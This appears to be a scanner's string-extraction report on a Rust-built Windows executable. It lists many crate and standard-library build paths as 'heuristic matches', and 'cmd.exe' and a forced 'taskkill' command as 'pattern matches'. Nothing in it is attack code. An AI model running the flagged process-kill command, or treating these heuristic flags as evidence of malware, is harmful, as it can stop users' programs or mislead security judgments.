dataprogramfilesprogramw6432programfiles(x86)c:\r\src\d\c\h.rs" Heuristic match: "{invalid syntax}{recursion limit oeached}?`fmt::error`s should be impossible without a `fmt::formatter`/rust/deps\rustc-demangle-0.1.27\src\v0.rs" Heuristic match: " fn( -> + punycode{.llvm./rust/deps\rustc-demangle-0.1.27\src\lib.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.27\src\legacy.rs" Heuristic match: "sizelimitexhaustedparseinterror/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\ops\function.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\smallvec-1.15.1\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\schannel-0.1.29\src\alpn_list.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\itoa-1.0.18\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.149\src\read.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.149\src\ser.rs" Heuristic match: "ullruealse}{,: null,c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.149\src\value\index.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\postscript\stack.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\glyf\hint\value_stack.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\autohint\outline.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\glyf.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\layout.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\variations.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\glyf\memory.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\slice\sort\unstable\quicksort.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\autohint\metrics\blues.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\autohint\hint\edges.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\collections.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\glyf\hint\instance.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\glyf\hint\cow_slice.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\glyf\hint\zone.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\glyf\hint\round.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\autohint\hint\outline.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\autohint\topo\edges.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\autohint\topo\segments.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\autohint\metrics\scale.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\autohint\metrics\widths.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\context.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\socket2-0.6.3\src\sys\windows.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sync\mpmc\context.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sync\mpmc\list.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sync\mpmc\zero.rs" Heuristic match: "softbuffer_0.4.8_dc_allocatorc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\softbuffer-0.4.8\src\backends\win32.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sync\mpmc\array.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sync\mpmc\waker.rs" Heuristic match: "this function is unimplemented on this platform.recverrorohoswindowsandroidsenderror/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\process\windows.rs" Heuristic match: "assertion failed: match track_edge_idx { leftorright::left(idx) => idx <= old_left_len, leftorright::right(idx) => idx <= right_len,}/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\collections\btree\node.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\io\stdio.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\args\windows.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\collections\btree\map\entry.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\process\windows\child_pipe.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\env.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\thread\id.rs" Heuristic match: "too many running threads in thread scope/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\thread\scoped.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\stdio\windows.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\thread\windows.rs" Heuristic match: "too many active read locks on rwlock/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\sync\rwlock\futex.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\ffi\os_str.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\path.rs" Heuristic match: "lock count overflow in reentrant mutex/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sync\reentrant_lock.rs" Heuristic match: "advancing ioslice beyond its length/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\io\io_slice\windows.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\rt.rs" Pattern match: "cmd.exe/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\thread_local\destructors\list.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\io\error\windows.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\pal\windows\winsock.rs" Heuristic match: "thread/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\thread\functions.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\pal\windows\time.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\backtrace.rs" Heuristic match: "wouldblockfatal runtime error: an irrecoverable error occurred while synchronizing threads, abortingthread name may not contain interior null bytes/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\thread\thread.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\time.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\str.rs" Heuristic match: ")%cmserifsans-serifcursivefantasymonospacec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zeno-0.3.3\src\raster.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\swash-0.2.7\src\internal\parse.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zeno-0.3.3\src\mask.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\path.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\swash-0.2.7\src\scale\bitmap\png.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\memory.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\swash-0.2.7\src\strike.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\skrifa-0.40.0\src\outline\cff\hint.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\swash-0.2.7\src\string.rs" Heuristic match: "=c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\sysinfo-0.32.1\src\windows\process.rs" Heuristic match: "assertion failed: injected && !worker_thread.is_null()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rayon-core-1.13.0\src\registry.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\sysinfo-0.32.1\src\windows\system.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\sysinfo-0.32.1\src\windows\sid.rs" Heuristic match: "assertion failed: vec.capacity() - start >= lenc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rayon-core-1.13.0\src\job.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\sysinfo-0.32.1\src\windows\cpu.rs" Pattern match: "taskkill.exe/pid/f" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rayon-1.12.0\src\vec.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rayon-core-1.13.0\src\latch.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\alpha_runs.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\edge_builder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\edge_clipper.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\geom.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\pixmap.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\path64\cubic64.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\pipeline\lowp.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\pipeline\highp.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\pipeline\blitter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\edge.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\scan\path_aa.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\shaders\gradient.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\line_clipper.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\path_geometry.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\fixed_point.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\scan\hairline_aa.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\scan\path.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\scan\hairline.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\path64\line_cubic_intersections.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\path64\quad64.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.11.4\src\blitter.rs" Heuristic match: "assertion failed: self.filled >= old_filledc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\decoder\unfiltering_buffer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\arrayvec-0.7.6\src\arrayvec.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\alpha_runs.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\edge_builder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\edge_clipper.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\geom.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\mask.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\pixmap.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\path64\cubic64.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\shaders\linear_gradient.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\pipeline\lowp.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\pipeline\highp.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\pipeline\blitter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\decoder\read_decoder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\painter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\edge.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\mem\maybe_uninit.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\io\cursor.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\scan\path_aa.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\shaders\gradient.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\line_clipper.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\path_geometry.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\fixed_point.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\scan\hairline_aa.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\scan\path.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\scan\hairline.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\path64\line_cubic_intersections.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\path64\quad64.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-0.12.0\src\blitter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.12.0\src\path_builder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.12.0\src\path.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.12.0\src\rect.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.12.0\src\size.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.12.0\src\path_geometry.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.12.0\src\stroker.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.12.0\src\dash.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytemuck-1.25.0\src\internal.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.11.4\src\path_builder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.11.4\src\path.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.11.4\src\rect.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.11.4\src\size.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.11.4\src\path_geometry.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.11.4\src\dash.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tiny-skia-path-0.11.4\src\stroker.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\io\registration.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\io\driver.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\park.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\task\core.rs" Heuristic match: "there is no such thing as a release load/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\sync\atomic.rs" Heuristic match: "rust_min_stackc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\context\current.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\sync\oneshot.rs" Heuristic match: "assertion failed: curr.is_join_interested()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\task\state.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\io\poll_evented.rs" Heuristic match: "assertion failed: c.runtime.get().is_entered()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\context\runtime.rs" Heuristic match: "filled must not become larger than initializedc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\io\read_buf.rs" Heuristic match: "filled overflowc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\time\sleep.rs" Heuristic match: "assertion failed: value <= self.max_value()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\util\bit.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\util\wake_list.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\handle.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\net\tcp\stream.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\net\windows\named_pipe.rs" Heuristic match: "rng seed generator is internally corruptc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\util\rand\rt.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\task\list.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\metrics\worker.rs" Heuristic match: "cannot drop a runtime in a context where blocking is not allowed. this happens when a runtime is dropped from within an asynchronous context.c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\blocking\shutdow" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\scheduler\defer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\time\wheel\level.rs" Heuristic match: "mark_pending called when the timer entry is in an invalid statec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\time\entry.rs" Heuristic match: "threads should not terminate unexpectedly/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\thread\lifecycle.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\util\linked_list.rs" Heuristic match: "assertion failed: shared.shutdown_tx.is_some()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\blocking\pool.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\sync\notify.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\task\harness.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\blocking\schedule.rs" Heuristic match: "leveloccupiedprovided length would overflow after adjustmentc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\buf_impl.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\bytes.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\bytes_mut.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\time.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\retry\budget\tps_budget.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\once_cell-1.21.4\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ttf-parser-0.25.1\src\tables\cff\argstack.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ttf-parser-0.25.1\src\tables\cff\cff2.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ttf-parser-0.25.1\src\tables\gvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ttf-parser-0.25.1\src\tables\cff\dict.rs" Heuristic match: "@c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\unicode-script-0.5.8\src\tables.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\unicode-segmentation-1.13.2\src\tables.rs" Heuristic match: "...c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\parser.rs" Heuristic match: "assertion failed: self.is_char_boundary(idx)assertion failed: self.is_char_boundary(new_len)assertion failed: self.is_char_boundary(at)c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\host.rs" Heuristic match: "gzip header field too longcorrupt deflate streamassertion failed: n <= init_unfilled/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\io\borrowed_buf.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\slice\sort\stable\quicksort.rs" Heuristic match: ", text/plainrgb'0idmarker&gpathcyfrfytimes new romanarialcomic sans msimpactc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\usvg-0.47.0\src\tree\filter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ttf-parser-0.25.1\src\lib.rs" Heuristic match: "zydisplayoverflowtypexlineaenc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\flate2-1.1.9\src\crc.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\flate2-1.1.9\src\bufreader.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\str\pattern.rs" Heuristic match: "screenoverlayc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\flate2-1.1.9\src\gz\bufread.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\io\impls.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\utf8_iter-1.0.4\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\uuid-1.23.1\src\rng.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\uuid-1.23.1\src\fmt.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\uuid-1.23.1\src\parser.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\want-0.3.1\src\lib.rs" Heuristic match: "file://c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\lib.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\collections\btree\navigate.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\webbrowser-1.2.1\src\common.rs" 